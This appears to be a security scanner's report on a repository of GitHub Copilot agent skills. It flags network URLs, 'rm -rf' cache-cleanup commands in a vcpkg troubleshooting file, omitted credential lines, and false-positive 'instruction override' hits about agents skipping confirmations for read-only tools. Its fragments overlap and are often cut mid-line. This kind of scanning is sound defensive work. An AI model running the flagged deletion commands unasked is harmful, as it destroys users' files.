| CWE | https://cwe.mitre.org/ | Weakness classification | - Network accessline 197
| STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration | - Network accessline 256
| **Incremental Tags** | `[Existing]` · `[Fixed]` · `[Partial]` · `[New]` · `[Removed]` (incremental reports only) | | **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.or - Network accessline 257
| **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) | | **OWASP** | OWASP Top 10:2025 mapping (e.g., A01:2025 – Broken Access Control) | - Network accessline 258
| **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) |
harness/github-copilot/skills/threat-model-analyst/references/skeletons/skeleton-findings.md
- Network accessline 23
| SDL Bugbar Severity | [FILL: Critical / Important / Moderate / Low] | | CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): - Network accessline 24
| CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] | | OWASP | A[FILL: NN]:2025 – [FILL: category nam - Network accessline 25
| CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] | - Network accessline 84
| SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | - Network accessline 85
| CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] | - Network accessline 86
| CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | - Network accessline 128
| SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | - Network accessline 129
| CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] | - Network accessline 130
| CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
harness/github-copilot/skills/threat-model-analyst/references/tmt-element-taxonomy.md
- Network accessline 67
| TMT ID | Name | Code Patterns to Identify | |--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | - Network accessline 68
|--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | | `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints | - Network accessline 69
| `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | - Network accessline 70
| `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints | - Network accessline 124
| Flow Type | Code Patterns | |-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls | - Network accessline 125
|-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls | | **SQL Database** | ORM queries, SQL connections, `DbContext` | - Network accessline 126
| **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls |
harness/github-copilot/skills/threat-model-analyst/references/verification-checklist.md
- Network accessline 29
- [ ] Every `#### Evidence` section cites specific file paths, line numbers, or config keys (not generic statements like "found in codebase") - [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`, - Network accessline 30
- [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`, `OWASP`, `Exploitation Prerequisites`, `Exploitability Tier`, `Remediation Effort`, `Mitigation Type`, `Component`, `Related Threats` - [ ] E - Network accessline 31
- [ ] Every CWE value is a hyperlink: contains `](https://cwe.mitre.org/` (not plain text like `CWE-79`) - Network accessline 170
- [ ] **References Consulted as flat table **— Search for `| Reference | Usage |` pattern. Two-column flat table → Two subsections: `### Security Standards` with `| Standard | URL | How Used |` and `### Component Documentation` with `| Comp - Network accessline 171
- [ ] **References missing URLs **— Every row in References Consulted tables must have a full `https://` URL. Missing URL column or empty URLs → Full URLs in every row - Network accessline 177
- [ ] **CVSS score without vector or missing prefix **— Grep each finding's CVSS field. The value MUST match pattern: `\d+\.\d+ \(CVSS:4\.0/AV:`. Specifically check for the `CVSS:4.0/` prefix — the most common deviation is outputting the ve - Network accessline 178
- [ ] **CWE without hyperlink **— Grep for `CWE-\d+` without preceding `[`. `CWE-78: OS Command Injection` → `[CWE-78](https://cwe.mitre.org/data/definitions/78.html): OS Command Injection`
harness/github-copilot/skills/tldr-prompt/SKILL.md
- Network accessline 41
| URLs supplied without explicit fetch syntax | Fetch all supplied URLs. | | More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search - Network accessline 42
| More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.c - Network accessline 43
| Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.collections.md`; if no relevant files exist, check https://github.com/github/awesome-copilot and - Network accessline 44
| Query about MCP servers | Prefer https://modelcontextprotocol.io/ and <https://code.visualstudio.com/docs/agent-customization/mcp-servers>. | - Network accessline 45
| Query about inline chat or Ctrl+I | Prefer <https://code.visualstudio.com/docs/chat/inline-chat>. | - Network accessline 46
| Query about chat view or chat tools | Prefer <https://code.visualstudio.com/docs/chat/chat-overview>. | - Network accessline 47
| General GitHub Copilot query | Prefer https://code.visualstudio.com/docs/agents/overview or <https://docs.github.com/en/copilot/>. | - Network accessline 49
When resolving through awesome-copilot, fetch <https://raw.githubusercontent.com/github/awesome-copilot/main/README.md> first, then convert relevant repository links such as <https://github.com/github/awesome-copilot/blob/main/instructions/ - Network accessline 121
You MUST provide one of the following: 1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} - Network accessline 122
1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} 3. A search query: /tldr-prompt "{{topic}}" (e.g., "MCP serve - Network accessline 123
2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} - Network accessline 141
- [Model Context Protocol](https://modelcontextprotocol.io/) - Network accessline 142
- [VS Code MCP servers](https://code.visualstudio.com/docs/agent-customization/mcp-servers) - Network accessline 143
- [VS Code agents overview](https://code.visualstudio.com/docs/agents/overview) - Network accessline 144
- [VS Code chat overview](https://code.visualstudio.com/docs/chat/chat-overview) - Network accessline 145
- [VS Code inline chat](https://code.visualstudio.com/docs/chat/inline-chat) - Network accessline 146
- [GitHub Copilot documentation](https://docs.github.com/en/copilot/) - Network accessline 147
- [Awesome Copilot](https://github.com/github/awesome-copilot) - Network accessline 148
- [Awesome Copilot raw file pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/{folder}/{filename}) - Network accessline 149
- [Awesome Copilot README raw](https://raw.githubusercontent.com/github/awesome-copilot/main/README.md)
harness/github-copilot/skills/tm7-threat-model/SKILL.md
- Network accessline 60
<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"> - Network accessline 77
| Prefix | URI | Used for | |--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | - Network accessline 78
|--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | | `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes | - Network accessline 79
| (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | - Network accessline 80
| `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes | - Network accessline 81
| `xmlns:z` | `http://schemas.microsoft.com/2003/10/Serialization/` | Reference ids (`z:Id`) | - Network accessline 82
| `xmlns:a` | `http://schemas.microsoft.com/2003/10/Serialization/Arrays` | Arrays / collections | - Network accessline 83
| `xmlns:b` | `http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase` | Stencil properties | - Network accessline 84
| `xmlns:c` | `http://www.w3.org/2001/XMLSchema` | Primitive type values | - Network accessline 150
<b:DisplayName>Name</b:DisplayName> <b:Name/> <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value> - Network accessline 151
<b:Name/> <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value> </a:anyType> - Network accessline 152
<b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value> - Network accessline 309
8. **Missing the `xmlns` on child elements** — each `GenericTypeId`, `Guid`, `Properties`, `TypeId`, etc. must carry its own `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. - Network accessline 310
`TypeId`, etc. must carry its own `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. 9. **Pretty-printing with indentation** — the correct output is a single continuous XML stream - Network accessline 311
`xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. - Network accessline 360
- [ ] The file starts with `<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">` and has no XML declaration. - Network accessline 370
- [ThreatModeling.Model namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model) - Network accessline 371
- [ThreatModeling.Model.Abstracts namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts) - Network accessline 372
- [ThreatModeling.KnowledgeBase namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase) - Network accessline 373
- [Serialization namespace](http://schemas.microsoft.com/2003/10/Serialization/) - Network accessline 374
- [Serialization arrays namespace](http://schemas.microsoft.com/2003/10/Serialization/Arrays) - Network accessline 375
- [XML Schema namespace](http://www.w3.org/2001/XMLSchema) - Network accessline 376
- [XML Schema instance namespace](http://www.w3.org/2001/XMLSchema-instance)
harness/github-copilot/skills/tm7-threat-model/assets/example-minimal.tm7
- Network accessline 1
<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><DrawingSurfaceList><DrawingSurfaceModel z:Id="i1" xmlns:z="http://schemas.microsoft.com/2003/10/Serializa
harness/github-copilot/skills/transloadit-media-processing/SKILL.md
- Network accessline 8
license: "MIT" metadata: compatibility: "Requires a free Transloadit account (https://transloadit.com/signup). Uses the @transloadit/mcp-server MCP server or the @transloadit/node CLI." - Network accessline 9
metadata: compatibility: "Requires a free Transloadit account (https://transloadit.com/signup). Uses the @transloadit/mcp-server MCP server or the @transloadit/node CLI." --- - Network accessline 10
compatibility: "Requires a free Transloadit account (https://transloadit.com/signup). Uses the @transloadit/mcp-server MCP server or the @transloadit/node CLI." - Network accessline 58
Get your API credentials at https://transloadit.com/c/-/api-credentials - Network accessline 116
"robot": "/image/resize", "use": "resized", "watermark_url": "https://example.com/logo.png", - Network accessline 117
"use": "resized", "watermark_url": "https://example.com/logo.png", "watermark_position": "bottom-right", - Network accessline 118
"watermark_url": "https://example.com/logo.png", - Network accessline 146
"imported": { "robot": "/http/import", "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"] - Network accessline 147
"robot": "/http/import", "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"] }, - Network accessline 148
"url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"] - Network accessline 187
- **Assembly**: A single processing job. Created via `create_assembly` (MCP) or `assemblies create` (CLI). - **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **R - Network accessline 188
- **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.co - Network accessline 189
- **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.com/docs/transcoding/
harness/github-copilot/skills/typescript-mcp-server-generator/SKILL.md
- Network accessline 99
| Transport | Use when | Required details | | --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for loca - Network accessline 100
| --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling be - Network accessline 101
| HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling because v2 rejects non
harness/github-copilot/skills/typespec-api-operations/SKILL.md
- Network accessline 37
@service @server("https://api.example.com") - Network accessline 38
@server("https://api.example.com") - Network accessline 118
{ "type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 119
"type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 120
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 131
], "actions": [ { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" } - Network accessline 132
"actions": [ { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" } ] - Network accessline 133
{ "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" } - Network accessline 264
- [Adaptive Card schema](http://adaptivecards.io/schemas/adaptive-card.json) - Network accessline 265
- [Example API endpoint](https://api.example.com) - Network accessline 266
- [Example item URL](https://example.com/items/${id})
harness/github-copilot/skills/typespec-create-api-plugin/SKILL.md
- Network accessline 85
| Public API | Omit `@useAuth`; do not create placeholder auth models. | | API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authoriza - Network accessline 86
| API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenU - Network accessline 87
| OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenUrl: "https://oauth.example.com/token"; refreshUrl: "https://oauth.example.com/token
harness/github-copilot/skills/ui-screenshots/SKILL.md
harness/github-copilot/skills/unit-test-vue-pinia/SKILL.md
- Network accessline 153
Follow Vue Test Utils guidance: <https://test-utils.vuejs.org/guide/> - Network accessline 220
- `references/pinia-patterns.md` - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html> - Network accessline 221
- Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html> - Network accessline 222
- Vue Test Utils guide: <https://test-utils.vuejs.org/guide/>
harness/github-copilot/skills/update-avm-modules-in-bicep/SKILL.md
- Network accessline 22
- A target Bicep file such as `${file}` must be available. - `bicep` must be installed to run `bicep lint` and `bicep build`. - Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/ta - Network accessline 24
- Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list` and documentation review at `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`. - Network accessline 30
| Module pattern | Match Azure Verified Modules in Bicep references using `avm/res/{service}/{resource}`. | | Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/ - Network accessline 31
| Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. | | Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/m - Network accessline 32
| Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. | - Network accessline 33
| Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`. | - Network accessline 39
1. Scan `${file}` and extract every AVM module reference, current version, and source line. 2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/a - Network accessline 40
2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. 4. Parse the JSON `tags` array, keep semantic versio - Network accessline 41
3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. - Network accessline 42
4. Parse the JSON `tags` array, keep semantic versions, and compare the latest stable version with the current reference. 5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree - Network accessline 43
5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}` for breaking changes. - Network accessline 66
| Module | Current | Latest | Status | Action | Docs | |--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep - Network accessline 67
|--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource - Network accessline 68
| avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) | - Network accessline 69
| avm/res/storage/account | 0.3.0 | 0.3.0 | Current | Current | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) | - Network accessline 70
| avm/res/network/virtual-network | 0.4.0 | 0.5.0 | Manual review required | PAUSE for approval before breaking parameter changes | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) | - Network accessline 89
- [Azure Verified Modules registry source](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) - Network accessline 90
- [MCR AVM tags endpoint](https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list)
harness/github-copilot/skills/update-implementation-plan/SKILL.md
harness/github-copilot/skills/update-llms/SKILL.md
- Network accessline 2
name: "update-llms" description: >- Update an existing repository-root llms.txt file to match current documentation, specifications, examples, configuration, and repository structure. Use when users ask to update llms.txt, refresh LLM nav - Network accessline 3
description: >- Update an existing repository-root llms.txt file to match current documentation, specifications, examples, configuration, and repository structure. Use when users ask to update llms.txt, refresh LLM navigation, fix stale l - Network accessline 4
Update an existing repository-root llms.txt file to match current documentation, specifications, examples, configuration, and repository structure. Use when users ask to update llms.txt, refresh LLM navigation, fix stale llms links, or keep - Network accessline 23
- An existing `/llms.txt` at the repository root. - Repository read access to current docs, specs, examples, and configuration. - The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llm - Network accessline 25
- The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llmstxt.org/.`. - Network accessline 137
- [llms.txt specification](https://llmstxt.org/) - Network accessline 138
- Baseline URL spelling preserved for migration checks: https://llmstxt.org/.
harness/github-copilot/skills/vardoger-analyze/SKILL.md
- Network accessline 53
If you do not have pipx, see https://pipx.pypa.io/stable/. - Network accessline 55
Project page: https://github.com/dstrupl/vardoger - Network accessline 163
- [pipx documentation](https://pipx.pypa.io/stable/) - Network accessline 164
- [vardoger project](https://github.com/dstrupl/vardoger)
harness/github-copilot/skills/vcpkg/SKILL.md
- Network accessline 130
### Installing with Features (e.g., curl with SSL + HTTP2)
harness/github-copilot/skills/vcpkg/references/ci.md
- Network accessline 11
[Credential-related source omitted] - Access to secretsline 11
[Credential-related source omitted] - Network accessline 14
[Credential-related source omitted] - Access to secretsline 14
[Credential-related source omitted] - Network accessline 19
$env:VCPKG_BINARY_SOURCES = "clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite" - Network accessline 22
export VCPKG_BINARY_SOURCES="clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite" - Network accessline 32
env: VCPKG_BINARY_SOURCES: clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite - Network accessline 33
VCPKG_BINARY_SOURCES: clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite - Network accessline 108
- uses: actions/checkout@v4 - name: Clone vcpkg run: git clone https://github.com/microsoft/vcpkg - Network accessline 109
- name: Clone vcpkg run: git clone https://github.com/microsoft/vcpkg - name: Bootstrap vcpkg (Windows) - Network accessline 110
run: git clone https://github.com/microsoft/vcpkg
harness/github-copilot/skills/vcpkg/references/registries.md
- Network accessline 11
{ "kind": "git", "repository": "https://github.com/{owner}/vcpkg-registry", - Network accessline 12
"kind": "git", "repository": "https://github.com/{owner}/vcpkg-registry", "baseline": "<commit-sha>", - Network accessline 13
"repository": "https://github.com/{owner}/vcpkg-registry", - Network accessline 45
{ "kind": "git", "repository": "https://github.com/{owner}/vcpkg-registry.git", - Network accessline 46
"kind": "git", "repository": "https://github.com/{owner}/vcpkg-registry.git", "baseline": "<registry-commit-sha>", - Network accessline 47
"repository": "https://github.com/{owner}/vcpkg-registry.git",
harness/github-copilot/skills/vcpkg/references/troubleshooting.md
- Dangerous shell operationline 95
rm -rf <vcpkg-root>/buildtrees - Dangerous shell operationline 96
rm -rf <vcpkg-root>/downloads - Dangerous shell operationline 97
rm -rf <vcpkg-root>/installed - Dangerous shell operationline 98
rm -rf <vcpkg-root>/packages - Dangerous shell operationline 100
rm -rf ./vcpkg_installed
harness/github-copilot/skills/web-design-reviewer/SKILL.md
- Network accessline 31
1. **Target website must be running** - Local development server (e.g., `http://localhost:3000`) - Network accessline 32
- Local development server (e.g., `http://localhost:3000`) - Network accessline 64
> Please provide the URL of the website to review (e.g., `http://localhost:3000`) - Network accessline 300
[Playwright MCP](https://github.com/microsoft/playwright-mcp) is recommended as the reference implementation for this skill. - Network accessline 392
**Status:** complete | needs fixes | blocked **Target URL:** `<http://localhost:3000 or remote URL>` - Network accessline 393
**Target URL:** `<http://localhost:3000 or remote URL>` - Network accessline 408
- [ ] `name` is `web-design-reviewer` and matches the parent directory. - [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running. - Network accessline 409
- [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running. - Network accessline 419
- [Playwright MCP](https://github.com/microsoft/playwright-mcp)
harness/github-copilot/skills/web-design-reviewer/references/framework-fixes.md
harness/github-copilot/skills/webapp-testing/LICENSE.txt
harness/github-copilot/skills/webapp-testing/SKILL.md
- Network accessline 63
browser = p.chromium.launch(headless=True) # Always launch chromium in headless mode page = browser.new_page() page.goto('http://localhost:5173') # Server already running and ready - Network accessline 64
page = browser.new_page() page.goto('http://localhost:5173') # Server already running and ready page.wait_for_load_state('networkidle') # CRITICAL: Wait for JS to execute - Network accessline 65
page.goto('http://localhost:5173') # Server already running and ready
harness/github-copilot/skills/webapp-testing/examples/console_logging.py
harness/github-copilot/skills/webapp-testing/examples/element_discovery.py
harness/github-copilot/skills/webapp-testing/examples/static_html_automation.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/webapp-testing/scripts/with_server.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 26
while time.time() - start_time < timeout: try: with socket.create_connection(('localhost', port), timeout=1): - Network accessline 27
try: with socket.create_connection(('localhost', port), timeout=1): return True - Network accessline 28
with socket.create_connection(('localhost', port), timeout=1):
harness/github-copilot/skills/webmcpify/SKILL.md
- Network accessline 6
license: MIT metadata: source: "https://github.com/TueJon/webmcpify" - Network accessline 7
metadata: source: "https://github.com/TueJon/webmcpify" --- - Network accessline 8
source: "https://github.com/TueJon/webmcpify" - Network accessline 36
- WebMCP is an evolving origin-trial API from the W3C Web Machine Learning Community Group: https://webmachinelearning.github.io/webmcp/ - Network accessline 80
"typescript": true, "entry": "src/main.tsx", "baseUrl": "http://localhost:5173", - Network accessline 81
"entry": "src/main.tsx", "baseUrl": "http://localhost:5173", "startCommand": "npm run dev", - Network accessline 82
"baseUrl": "http://localhost:5173", - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 194
[Credential-related source omitted] - Network accessline 203
- [WebMCP draft](https://webmachinelearning.github.io/webmcp/) - Network accessline 204
- [webmcpify source](https://github.com/TueJon/webmcpify)
harness/github-copilot/skills/webmcpify/references/heal.md
- Network accessline 51
if (process.env.WEBMCP_LIVE_MUTATIONS === '1') { await page.route('**/api/contact', async (route) => { const response = await context.request.fetch(route.request(), { - Network accessline 52
await page.route('**/api/contact', async (route) => { const response = await context.request.fetch(route.request(), { headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin - Network accessline 53
const response = await context.request.fetch(route.request(), { - Network accessline 54
headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin
harness/github-copilot/skills/webmcpify/references/inventory.md
- Instruction override signalline 45
*Initiation tools only navigate/open the flow — the human completes it. They are classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools - Instruction override signalline 46
classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools. `readOnlyHint: true` is reserved for genuinely pure data reads. - Instruction override signalline 47
they change UI state, and agents skip confirmations for hinted-read-only tools.
harness/github-copilot/skills/webmcpify/references/runtime.md
- Network accessline 27
| `isWebMCPAvailable()` | Feature detection — the app must work identically without WebMCP | | `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: - Network accessline 28
| `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: Promise<boolean>` (true = all registrations committed; false = no WebMCP / duplicate key / fa - Network accessline 29
| `dispatchAndWait(event, detail?, timeoutMs?)` | Bridges `execute()` to the app's own event/state flow. The dispatched detail carries `requestId` plus `signal` — an AbortSignal aborted on timeout; pass it to `fetch()` and skip state commit
harness/github-copilot/skills/webmcpify/references/security.md
- Instruction override signalline 48
consent decisions from it). - [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip confirmation based on it; mislabeling is the worst single mistake). - Instruction override signalline 49
- [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip confirmation based on it; mislabeling is the worst single mistake). - [ ] `untrustedContentHint: true` on every tool returning user-generated or
harness/github-copilot/skills/webmcpify/references/verify.md
- Network accessline 100
}); EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ - Network accessline 101
EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ NODE_PATH=/tmp/webmcpify-harness/node_modules npx playwright test - Network accessline 102
WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ - Network accessline 112
**Alternative:** Puppeteer ships a first-class experimental WebMCP API (https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses - Network accessline 113
(https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses
harness/github-copilot/skills/webmcpify/templates/webmcp-jsx.d.ts
- Network accessline 1
/** * React JSX typings for the declarative WebMCP attributes — vendored from * https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* React JSX typings for the declarative WebMCP attributes — vendored from * https://github.com/TueJon/webmcpify * - Network accessline 3
* https://github.com/TueJon/webmcpify - Network accessline 25
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 26
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 27
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
harness/github-copilot/skills/webmcpify/templates/webmcp.d.ts
- Network accessline 1
/** * Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 27
* * registerTool/ontoolchange/annotations/getTools follow the CG draft * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only - Network accessline 28
